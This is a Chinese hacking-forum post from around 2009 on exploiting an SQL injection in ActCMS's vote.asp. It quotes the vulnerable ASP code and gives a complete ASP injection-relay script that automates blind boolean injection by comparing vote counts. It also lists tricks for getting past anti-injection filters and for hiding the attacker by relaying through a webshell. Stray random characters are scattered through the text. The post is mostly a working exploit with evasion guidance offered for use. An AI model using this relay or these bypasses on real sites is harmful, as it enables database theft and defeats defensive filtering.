: t) ?, Y9 w, K9 r看到ninty大牛的blog的一篇文章
( Z. v$ { l. `7 Y( T L( K- w链接标记[url]http://www.forjj.com/?action=show&id=80[/url]0 _- L5 x& C- ~' x7 e4 w
关于actcms漏洞的利用 by 3x qq:381862589% I7 u( \! g. Y/ B$ B+ v
转载请注明以上
+ p ^+ V1 g. c漏洞文件:
1 ~' g9 N w. o) V6 [/plus/vote/vote.asp6 o$ J% `5 i1 k. {5 |
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 0 \1 Q( B# Y2 O. t, l) j; g
6 i t$ w/ j2 y2 a3 L* D. V
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
4 b5 {- j# c' S; l$ N. _
* `+ R6 J4 N0 O- @' W0 T( [3 response.end
$ s) U" x3 j3 z1 R" w& W: Y, q8 h* y5 x
4 end if 3 E: d, s9 F g# ]/ u6 u6 K
, {2 A6 m$ F& ]. B/ P5 for i=1 to request("voted").count 4 Y3 N6 `% v6 F9 W p- C
0 h( d( v9 N; Q8 G
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) # C3 \8 c* n, N5 C9 G
t( G' H7 }+ X& J
7 next % G- R8 [/ R( k) h/ x
/ g T7 W. `7 J2 j
8....
/ R; b# _8 h7 q% E& M
8 f* E! Q& o. s9response.Redirect "index.asp?id="&id&"" 8 r/ D8 d7 u. Q( P: x7 b
投票结束回跳转回index.asp这个投票结果页面5 J' F* b6 D5 P/ o# S
如果投票成功票数加19 G: ]4 e+ ?! T; k- @- Q
失败票数不变8 W' v! c+ n8 u0 ?& L! _0 P: i
如图:
% q2 w* k) \8 S3 Q( \) uhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
# u' ~ ~, Y" v
* Q$ A9 U' A, _% s; f6 W$ D) d2009-12-27 13:20* x8 K% k" _' S0 d/ Z2 U& c0 y
4 I2 A [! M1 R- z7 e利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了$ \( h7 n7 A2 p/ W0 C5 m8 G
. i9 x2 }) J/ ~9 S, ~
本帖隐藏的内容需要回复才可以浏览7 Y1 g' f3 N+ N& m1 F8 U
我们用注入中转来实现这个注入具体代码如下:
! ]6 W$ f6 p' e' m* Q9 f- V1 J先用寂寞的刺猬大牛的注入中转生成jmget.asp0 U' n$ F1 f K
注入地址:http://localhost/actcms/plus/vote/vote.asp
) g- }+ |% w8 q w5 o: c/ ~7 M/ m注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
+ w* d- o5 i4 ^4 Z$ C' \
( a: h( o% m; {3 M! U* T4 `然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
$ K! H1 Q0 \% T' D7 v2 W0 ?" D
7 ^ s+ A8 x6 F$ [02JmdcwName=request("jmdcw")
- x7 J1 V# Z% {0 H! ~/ c: A2 P6 V2 y& `' B3 T
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" \/ m( ^6 `- m9 X
) Z s! P; J" R4 |1 [ Q04JmStr="id=1&voted=-1 or 1="&JmdcwName
1 k6 P( ~# L* b) o2 U6 W: u8 {, ? q& z. d/ H+ H
05JmStr=URLEncoding(JmStr)
+ e5 a+ W; F- z( q* Y5 s' U& B. n" m
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
( `7 G. A. a& Q# j$ w7 N6 i2 o
- o8 A: I1 Q4 ~& k/ P$ H6 y1 x07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
H* N0 Y+ x5 X- G! @
. _# {' T" a9 d; F08testurl=testurl & "?" & JmStr
' g& S# {/ P0 t% \3 I3 D `5 D( N; e9 ]: |) f
09JMUrl=JMUrl & "?" & JmStr
$ l; Q9 H" Z2 F* P% u
0 Z; v6 i- L* \ ]: b. w# j4 I1 t3 d/ f10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"( O$ e1 u4 P* l2 i+ z- T
- o- @; U }* D- v7 M. l$ n" S/ f11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
4 f' ], y Q6 i
1 s- O# A4 R9 ~- ]/ W( _12JmCok=replace(JmCok,chr(32),"%20")
& M1 [- Z+ p# T+ c' y ^( H4 ~% P# Z% i1 e' ^
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ( f/ J' E* D; z( [/ X4 M
- N" V0 F' j4 R8 m14 ( ]# w9 o- G3 ]* S# ^
5 L6 V# \- M. m+ R+ ~# h/ V: s# B* M$ [
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 ) Z$ P( q/ A+ l" Q
- l b7 _+ o( c: u& [ t1 E, X
16
9 E ^ E" ^! _+ c& W+ |8 p' D; z4 T" m
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 8 {! c% p0 m4 B. G: M4 r% V
5 u% k ?3 _7 _% x18response.write test1&""&test2&""' m4 b8 Y7 A8 p) A$ J
1 R, x- n4 b& W; F: y
19
4 _) J7 a/ u6 ^2 _" w0 v( @; B, v' W
20if test1=test2 then '如前后记录相等,表示失败
) o8 t7 K2 l' ?& X
" P. `7 d" n$ o( A. J' U( T21 response.write "failed" b) L6 D! T* H
& F2 P* _3 |4 b" m/ H: T% h% ?5 H
22else
5 I* w, l, b9 N/ w
$ g b% i( Q$ D6 @: ?9 x9 Z9 G. W& q23 response.write "succeed"
; `5 W! b5 D3 i& b
7 k! }3 @% Z9 J; ~24end if
* Y. @ v6 z6 w4 D- \, p( f+ s, @
- [- T+ L$ Q9 U0 C3 o* v+ K25
3 i. n! |! x2 b, a8 C
/ Z) c% S+ |( f- B: m: K7 ?3 K1 t26response.write "by 3x"
7 O9 P5 Y# X3 n, e6 a/ Y' P/ X* Y8 D1 ]1 [- z) {" V6 | W
27
! {3 S& K9 F/ f5 J h5 r) J M; s3 V9 ] _8 m7 K& p4 ~' d5 z* e! G
28 ( w) T" g/ e4 G) |2 w
7 m" R+ _" ?/ r* V {3 M# Q29Function PostData(PostUrl,PostStr,PostCok,PostRef) d4 j$ v" n- C4 n. o, i& |
+ D$ t1 f) n! U% _30Dim Http
' h+ E- _6 a4 `, r9 S0 D' s+ ?! o
' t5 F2 z! t- W4 W- f! U31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") + t8 u" m9 O4 g0 n1 j9 H
* V- [2 I5 n# O; S0 O32With Http
7 [1 n* d0 \3 I1 E C- s( x9 v7 i4 i4 U5 ~. k! U6 g; N0 H! D1 a
33 3 l( z \" f4 Z) s# d6 |
* g# J2 r+ c C9 |, n* w3 V34.Open "GET",PostUrl,False$ z( _5 e8 r7 S: c- \: z# t
1 i; X% S1 p" L/ M2 H6 b/ o/ [35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
& \) h" T8 @4 b9 q1 V8 B
5 Y3 U! P! W; U9 M36.SetRequestHeader "Referer",PostRef 1 N% u$ U$ Q3 I0 b: A
3 `: M- O7 |! @& y& a+ }, D37.SetRequestHeader "Cookie",PostCok
. g8 _2 @ ?. W' R
0 T# [* B, R" G( l& i, N# O# g! Y38.Send ()
! {6 R9 [: D2 Y8 T" x5 E/ G, I4 v# |
39PostData = .ResponseBody H! I) v3 K# A
, k( H/ @) K4 ~, w40End With! ]( H u( p0 j) t; i9 g6 k4 q
+ V+ Q E' ^8 x7 }& j
41Set Http = Nothing
; j2 j- K$ {, X% ]. B" s( h5 }5 b" t' Y$ ^* B2 C1 L: n& Y: }' z9 H
42PostData =bytes2BSTR(PostData)
4 {, ~- e! Q. t1 F! D
- I4 z3 E) X- q' P$ I0 U9 f& f$ o$ ?43End Function
* h" D( ^ E. U4 t7 r" k2 a& D' D+ l; ~+ v
44 7 |" {# W8 C q1 j) ?
9 V5 e) Z: I9 y _3 v. o0 f4 f
45
" r7 y" N7 H* q8 A) p$ |! k$ E
; Z" ~- C+ ~/ }! G46Function bytes2BSTR(vIn) + s, y6 q& G( n& t' r2 r
& D! l9 y! F! O47Dim strReturn
* m- ]: s, E. ^( E$ m) C9 G! w2 m8 a9 _' Y3 o1 l
48Dim I, ThisCharCode, NextCharCode ) |* m& j, a. V- n
' |7 A0 h9 q. d0 {+ n& l
49strReturn = ""
+ g1 B4 Z( y& j _6 w: S( W; W. `2 V8 k" H
50For I = 1 To LenB(vIn)
' i- j0 K0 V2 ] ~7 u {( @! N7 R7 D: A& \
51ThisCharCode = AscB(MidB(vIn, I, 1)) - l0 P5 g U' J o
% y6 z* }' [% c, @1 d52If ThisCharCode < &H80 Then% ^' T2 ]5 N7 o' y. b( ^
h7 \& c6 Q2 [) B7 I- j7 S53strReturn = strReturn & Chr(ThisCharCode)
' G& v$ g3 ~; T/ c$ B1 d6 x8 v( ?) f/ n2 B
54Else
- F& m1 l7 a) O1 S4 s/ F- l) t# M: Q, Z* L" S
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ! r8 z! ^( ]" c$ W- G
7 T% U3 P8 r6 h( ^# ^6 n56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ; @6 l8 N8 e) p5 G5 M* u
9 `$ Z7 E$ Y/ d1 H57I = I + 1 - Y/ {$ x6 e8 q; E' K$ r+ k* m8 b
8 c( y) I" m+ r9 G$ j
58End If
3 C% D/ o6 i K6 _9 t0 C ~7 `
59Next# G. [" V8 ^/ v& T- Y
! p' N! u0 ], J* r% k5 `( f8 z R
60bytes2BSTR = strReturn
7 @( S% a8 K2 U4 ]. w& I7 @# m F5 A8 ~- W8 D ~ k; b
61End Function4 k6 Z& T' p5 o& W
8 N7 G! h8 [. b6 W; y O62
- N7 X6 ?6 m1 V6 y- i$ D) W% `
/ Z& N' u# E- h) `* d/ ?/ H63Function URLEncoding(vstrin) ! n5 R( ` ?0 f: ]; c7 S$ [
: W; p8 c2 f7 h
64strReturn=""+ }- r7 T, t, Q9 N9 ~
4 x3 j: T: n w0 A
65Dim i . c* `5 g# G4 }
6 t& i3 Y: ?$ f: i9 z [0 t3 Y) F, c66For i=1 To Len(vstrin)
" E4 g9 N$ R" u4 \
' L3 G. E2 Q5 p; X! O4 L. I. V67ThisChr=Mid(vstrin,i,1)
6 C ]* Z% S: k5 e. s, e1 r! {" } ^6 G$ j' Y" k' K
68if Abs(Asc(ThisChr))< &HFF Then& W4 d; ]* M9 ]
5 m; W M) W+ v* [6 J" z
69strReturn=strReturn & ThisChr
' H w* b! f5 L' H; ]& z# E3 [. k/ i+ p) b/ q; e
70Else* g+ a1 |6 b3 H8 V6 ?( j! a( O
+ e1 K' L; X. C0 w: B71InnerCode=Asc(ThisChr) % }5 k, s3 d1 t, _0 L5 w) H/ h
$ t- X$ o; K6 g" t9 Q72If InnerCode<0 Then4 [- b% }& j' u& }) a; H |
5 q/ ^% @3 P8 j) I0 s* j73InnerCode=InnerCode + &H10000 * F, f+ Q' j, H5 V; b6 t3 n( r& y
1 [3 b- R$ B ~2 j( U# p! e8 k" }
74End If; }4 i$ W/ N2 e. M8 S
! [, R$ N1 _7 P+ q75Hight1=(InnerCode And &HFF00) \&HFF & d( G- p: I2 l' z/ ?
7 J- K2 F4 H6 b# [: O9 q/ _
76Low1=InnerCode And &HFF + M7 z* _: m6 v
. s- V# O; c; @
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ! b: |0 K! p2 o/ D# w9 X
1 h$ [! H, _$ [+ b3 R& i8 i3 ^
78End if
) e6 g: L+ u8 p. S+ b- M# L8 l' r! M& \! p5 b
79Next
& J2 C% d( N) V/ y0 m# x6 v1 ~( W9 B# r/ x
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % \+ N8 b4 o: b( q
; x$ B% q* x1 X2 T$ }' t2 e81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 % v0 A( l* d0 ~2 S8 F: Z9 N' f. U
i6 U/ |: M- E9 z) B/ H0 N
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 " j9 j3 S6 ]- ^* |
0 _/ E3 c" O w$ U5 ^5 V C
83URLEncoding=strReturn
, W1 s: p* h. w, Q! [2 e% R4 h
4 ~: z3 y& F( _7 \84End Function' A. {3 i5 ^: @( q4 W. m: p* I
& D. _5 o# T3 E' n# b3 v! y85 . v, P+ ~3 f; T, x1 V
4 C/ o. k0 @- @$ g86function getSt(body)
/ C/ _" ^9 _% T, ~: r: \$ c
5 [% ^! M$ j* ?% ~- X87 startpot=instr(body,"投票人数:")+len("投票人数:") 7 x! F1 A( x0 z6 n, G0 h
$ i5 ^% P. `+ M7 z
88 endpot=instr(startpot,body," ")
& X0 P, `1 a9 h6 a& \
+ t# j. m! C7 c1 f$ c+ A89 getSt=mid(body,startpot,endpot-startpot)
' }- G" `7 _' b9 d6 _$ p; y6 V# c& b4 i H! Z9 V3 i* P" \, e u
90end function
; E K: E! F; `- ~. y M6 X* h
3 Z) {& I# S; U) I e% Q. `; Y" q) x91%>; B& u/ J" T7 Q
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
/ w& H' V5 \5 F测试下效果:
5 L# I* ~# ^9 F; V$ _, w投票成功:
6 l' H2 B5 p+ N9 x( T( {http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)- w) c4 Z$ ]2 I2 Y' f4 Q
& W8 K; l2 r6 H* R* m
2009-12-27 13:29
# |. [. U, f" ?4 y; h投票失败
/ R1 ^$ t6 N9 U" ^8 ]+ shttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)7 ]3 C0 p6 c* _, Y
' y& ]/ F# h9 q( r/ c, A8 r
2009-12-27 13:29/ w, Y9 z0 b7 O: i, n0 N
-------------------------------------------------------------------------------$ Y" ^/ p v( s" R/ v1 t
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ h2 U$ A9 F- _* O; Q4 X& d# T g很抱歉。。。只能用单线程工具去注入。。。。。) A7 k+ K) @8 s# ` ?+ O' [
所以失败。。。不好意思。。。
+ ~& Z% I6 m; |# @4 K0 N-------------------------------------------------------------------------------; n# \/ a1 A1 I6 ], h
2 o4 N7 Y; Q7 X: u7 [注入中转的一些其他应用/ N! ?( x& A/ ], A
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了- l/ _* Q; K, w3 g
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
- u# ]1 I7 }) T$ _, E; i! o2.post注入转成get型的注入,方便我们使用工具来跑) f$ Q L) s% b& F$ R
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")* F) j8 s7 k6 q
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过+ s& A" @% p, e7 \ E) q
( b A5 Q/ t4 i6 F( l |